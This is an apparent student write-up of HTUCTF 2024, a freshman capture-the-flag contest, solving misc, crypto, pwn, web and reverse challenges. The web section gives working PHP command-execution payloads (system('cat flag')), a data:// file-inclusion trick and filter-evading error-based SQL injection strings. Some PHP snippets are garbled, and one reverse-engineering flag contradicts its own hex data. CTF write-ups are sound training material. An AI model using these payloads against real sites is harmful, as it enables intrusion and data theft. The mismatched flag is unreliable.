HTUCTF——2024年 河南师范大学新生赛 部分wp
HTUCTF——2024年 河南师范大学新生赛 部分wp
文章目录
题目附件评论区
一、Misc
1、你好
下载附件得到一张图片
010分析,发现末尾藏有东西,使用kali进行分离。
分离命令;
foremost -i 你好.png
安装foremost教程:https://blog.csdn.net/qq_30445397/article/details/105787417
打开发现需要密码,根据做题经验图片在kali一般不显示多半是宽高有问题。
修改完成,发现密码。
打开zip即可。
HTUCTF{you_can_encrypt_anything_in_anywhere}
2、彩蛋
在比赛平台找flag
发现关键两串八进制,直接解码即可。
转码在线网站:https://www.toolhelper.cn/EncodeDecode/EncodeDecode
下半段,这个网站转下半段有点问题,为了节省时间,我丢给了GPT
拼接即可
HTUCTF{welc0me_2_HTU_and_have_fun}
3、初中数学(计算机版)
下载得到flag.txt文件,打开发现是匹配正确flag,这里给了md5值那就好一些,我们直接网上百度个脚本修复即可。
附上脚本;
import hashlib
import itertools
# 初始化变量
dirty_flag = "HTUCTF{372?7539-0217-1?ef-a234-f8?9d27fc?22}"
target_md5 = "b9636e79bccbe1cbcdb2f9a7f698742d"
chars_to_try = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' # 假设弄脏的数字是十六进制数字
# 找到所有 '?' 的位置
positions = [pos for pos, char in enumerate(dirty_flag) if char == '?']
# 生成所有可能的替换组合
for combination in itertools.product(chars_to_try, repeat=len(positions)):
# 替换所有 '?' 为当前组合中的字符
attempt = list(dirty_flag)
for pos, char in zip(positions, combination):
attempt[pos] = char
attempt_str = ''.join(attempt)
# 计算尝试的字符串的 MD5 哈希值
attempt_md5 = hashlib.md5(attempt_str.encode('utf-8')).hexdigest()
# 检查哈希值是否匹配
if attempt_md5 == target_md5:
print(f"Found the clean flag: {attempt_str}")
break
else:
print("No matching flag found.")
运行即可。
HTUCTF{37277539-0217-11ef-a234-f889d27fcc22}
4、a1eiqinuo
下载得到一张图片,使用010分析。
末尾发现一串base64,解码得到提示。
steghide隐写这是密码,再使用foremost分离一下图片,发现有一张图片但是需要密码。
没有线索,使用Advanced爆破一下试试看(纯数字1-6都可尝试)。
得到zip密码,开赛日期。
20240424
打开还是一张图片,根据前面的steghide,尝试密码解密。
分离出一张图片,这个文字是原神游戏里面的,网上查找字符对应表一一对应即可(不止一种字符)。
steghide extract -sf 123.jpg -p htuCTF
htuCTF{yuanshenqidong}
5、music
下载附件得到一个MP3后缀结尾文件,使用Audacity分析。
没有得到什么有用的信息,常见的音频MP3格式还有一个mp3stego,但是需要密码,那我们使用010分析。
发现里面有提示,猜测密码为111,注意:使用时MP3文件必须和mp3stego在同一目录下。
Decode.exe -p 111 -x muscic.mp3
flag{valorant_is_a_good_game}
6、机位查询
下载附件得到三张图片,在根据提示明显是一题社工题那就找呗。
首先第一张图片龙门石窟,但是出题人说思路都不对,需要的是拍摄图片人所站的地方位置名称
直接查找龙门石窟最佳拍照位置即可,全名——礼佛观景台;
然后第二张是站在泰山的一个地方所拍摄,根据查找百度发现是——十八盘
最后第三张图片,根据图中一个特别建筑可知是河南玉米楼附近,但是找半天没找着,那没办法了,只能py了一下朋友,朋友说图中是烟草大厦;
htu{LFGJT_SBP_YCDS}
7、baseHome-misc签到
hint:base家族的加密你知道几个?
下载得到txt,里面是base64编码,找个在线的解即可;
根据hint全部大写,不用说base32秒了;
HTUCTF{base64_and_base32_is_very_happy}
8、简单流量分析
下载得到一个流量包,使用Wireshark分析即可;
先查看协议分级;
那就过滤一下tcp,追踪http发现有张png图片导出分析试试看;
导出得到这么一张图片,如果你深入分析它,你会发现,毛也没有;
这里我们,直接全部导出http懒得翻流量包了,直接按文件大小排序即可;
这么大,指定有点问题,直接使用010打开分析(别问为什么不用记事本,记事本给给我卡死了),在里面查找了一番,发现里面有张GIF图,分离开来看看;
果然发现了关键,不过要转换,找一个在线逐帧分离GIF图片;
网站:https://uutool.cn/gif2img/
flag{S022y4orr5}
flag{S022y4orr5}
9、echo
下载附件,得到一个后缀MID结尾的音频文件,根据hint我们找一个能分析mid后缀文件的网站;
网址:https://ampedstudio.com/zh-cn/%E5%9C%A8%E7%BA%BF-midi-%E7%BC%96%E8%BE%91%E5%99%A8/
导入echo.mid文件再次发现hint,这边只有高音与低音,在这里你可能想不明白是什么,因为这题考的有一些脑洞,高1低0即可;
整理得到二进制,解码即可;
htuctf{gum1_1s_6o4!}
这题属于脑洞题了,还是misc题刷少了,一开始就卡在mid文件看见了hint但是不知道怎么编译,在此感觉《Kicky_Mu》,一个很厉害的全栈师傅,这是她的博客吗,大家也关注一下
https://www.cnblogs.com/mumuhhh
二、Crypto
1、密码_签到
下载附件,可知是一个凯撒加密,找一个在线网站加密即可;
已知flag格式F对应H,偏移2位;
HTUCTF{WELCOME_TO_2024_HTUCTF!!!}
2、guoql的大冒险
下载附件打开,两个txt,一个是未知编码,另外一个是hint;
分析关键,可知栅栏密码,以及兔子编码;
找一个在线栅栏解码:栅栏加密/解密 - Bugku CTF;
根据hint可知# Rabbit解码,key:guoql
HTUCTF{gu0ql_l0ve_big_big_rabbit!!}
三、Pwn
1、ez_nc_签到
基础题,打开靶机,使用kali里nc链接靶机即可;
HTUCTF{db419ab1-8aa5-40dc-97d5-4da9a32a524f}
2、环境?环境!
打开靶机,根据提示,配置吼pwn环境,在运行exp.py文件即可;
kali配置pwn环境链接:kali2021.4a搭建pwn环境
配置好exp,使用python运行即可;
python exp.py
HTUCTF{46c0c648-962a-4158-b663-14af105d884b}
3、完形填空
打开靶机,下载附件,得到一个zip,还是跟上一题一样的操作,只不过这题需要我们自己算栈溢出;
hint;
算出0x28,那就补充完整;
运行即可;
cat /flag
HTUCTF{a53e15c0-e9f6-4f17-9852-57246603b1b6}
四、Web
1、easy_rce
打开靶机,简单分析一下;
if($_GET[‘from’]==“HTUCTF”)——这行代码检查 URL 的 from
GET参数是否等于 “HTUCTF”。如果不是,将执行 else
代码块。
if((md5( G E T [ ′ m 1 ′ ] ) = = m d 5 ( _GET['m1']) == md5( GET[′m1′])==md5(_GET[‘m2’])) && ($_GET[‘m1’] !== $_GET[‘m2’])){
这是一个弱比较( a ! = a!= a!=b)&&(md5( a ) = = m d 5 ( a)==md5( a)==md5(b));我们可以使用数组绕过即可;
知识点:数组绕过
a[]=1
a[]=2
最后在传一个POST即可;
那我们现在来构造payload;
URL+?from=HTUCTF&m1[]=999&m2[]=000
POST传参直接查看flag即可,因为这里没有任何过滤;
cmd=system('cat flag');
HTUCTF{193a5754-a8fb-41e1-b904-fc00b9e7f2cd}
2、debugme_签到
打开靶机,Ctrl+u查看源码没什么好说的;
HTUCTF{d28021f7-2290-4074-9adc-016b2c763dea}
3、evalPHP
打开靶机,文件包含;
简单分析一下
d a t a = f i l e g e t c o n t e n t s ( data = file_get_contents( data=filegetcontents(_GET[‘file’]);`传一个文件file;
if($data === "HTUCTF"){
文件必须包含HUTCTF,但是这里过滤掉了,待会我们换别的办法,这里还让我们使用data协议来传;
$cmd = $_POST['cmd'];
POST就简单了,cmd嘛执行命令
那开始构造payload;
URL+?file=data://text/plan,base64,SFRVQ1RG
简单分析一下这里的base64,因为正常的HTU不是被过滤掉了嘛,那就换一个方法来识别即可;
至于data的使用,可以看一下这张结构图;
POST传参;
cmd=system('tac fla*');?>
flag{d49b61a1-4ae1-423f-af67-77735f82923b}
4、easy_SQL
打开靶机,发现是SQL注入,尝试爆破一下;
爆破得到账号密码admin/admin;
登录成功之后你就会发现,毛也没有,这题不是这样做的,这里我选择抓包会好一些,
这里过滤了很多东西,但是可以双写绕过;
过滤字符串 | 代替字符串 |
---|---|
空格 | /**/ |
and | aandnd |
select | seselectlect |
or | oorr |
知道被过滤字符,那我们开始构造payload吧。这里我使用的是报错注入,爆破库名;
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(database()),0x7e),1);#&password=admin
得到库名——users,那我们接着爆表名;
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),0x7e),3);#&password=123456
哎,发现表名跟库名一样,那我们接着爆字段;
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()/**/aandnd/**/table_name='users'),0x7e),3);#&password=123456
得到两个字段——user,password;
那我们接着看看user里面的数据;
1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(user)/**/from/**/users),1,31),0x7e),1);#&password=123456
发现了flag,那我们查看password的数据;
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),67,96),0x7e),1);#&password=123456
发现了半边flag,HTUCTF{6cb9f0de-bed4-4cd4-aa,继续查下半边;
第一个语句从第 90 个字符开始提取 6 个字符,而第二个语句从第 67 个字符开始提取 29 个字符,所以;
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),90,96),0x7e),1);#&password=123456
成功得到后半段,d4-aaf7-b372482ee8d8},注意拼接去除多余部分;
HTUCTF{6cb9f0de-bed4-4cd4-aaf7-b372482ee8d8}
五、Reverse
1、ez_xor
下载附件使用ida打开分析,无壳64位;
定位一下main主函数F5查看伪C即可;
从for不难看出这里被进行了字符异或运算;
脚本;
s = "tryw1th"
v11 = "s1mplex0r"
v8 = [28, 6, 12, 20, 69, 18, 19]
v9 = [11, 1, 31, 47, 9, 81, 11, 73, 15]
# 为字符串 s 生成期望的输入
expected_input1 = ''.join(chr(ord(s[i]) ^ v8[i]) for i in range(len(s)))
# 为字符串 v11 生成期望的输入
expected_input2 = ''.join(chr(ord(v11[i]) ^ v9[i]) for i in range(len(v11)))
# 打印期望的输入,这就是使程序输出 "correct" 的输入
print(f"Expected input for 's': {expected_input1}")
print(f"Expected input for 'v11': {expected_input2}")
输出;
htuctf{x0r_e4sy}
2、倒车工程
下载附件是一个python倒车脚本,简单分析一下;
其实也就一个关键点,这是一串十六进制,逆向逆向,那反过来转成ASCLL即可;
numbers = [0x48,0x54,0x55,0x43,0x54,0x46,0x7b,0x57,0x65,0x31,0x63,0x30,0x6d,0x65,0x5f,0x74,0x30,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x65,0x5f,0x65,0x6e,0x67,0x31,0x6e,0x65,0x65,0x72,0x31,0x6e,0x67,0x7d]
Python脚本梭哈;
存储的密码,以十六进制表示
numbers = [0x48, 0x54, 0x55, 0x43, 0x54, 0x46, 0x7b, 0x57, 0x65, 0x31, 0x63, 0x30, 0x6d, 0x65, 0x5f, 0x74, 0x30, 0x5f, 0x72, 0x33, 0x76, 0x65, 0x72, 0x73, 0x65, 0x5f, 0x65, 0x6e, 0x67, 0x31, 0x6e, 0x65, 0x65, 0x72, 0x31, 0x6e, 0x67, 0x7d]
将十六进制数转换为它们对应的 ASCII 字符
password = ''.join(chr(number) for number in numbers)
打印密码
print(f"The password is: {password}")
HTUCTF{37277539-0217-11ef-a234-f889d27fcc22}
3、猜数字_签到
下载附件,根据提示可以使用二分法猜flag;
这里我们使用二分法慢慢猜;
HTUCTF{D0_u_like_my_guessing_number_game?}
河南师范大学的CTF赛就到此为止了,在这一周里学到了很多,题目也大兜很友好,感谢师傅的出题,让我从中学到了很多,希望后面的举办会越来越好!!!
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)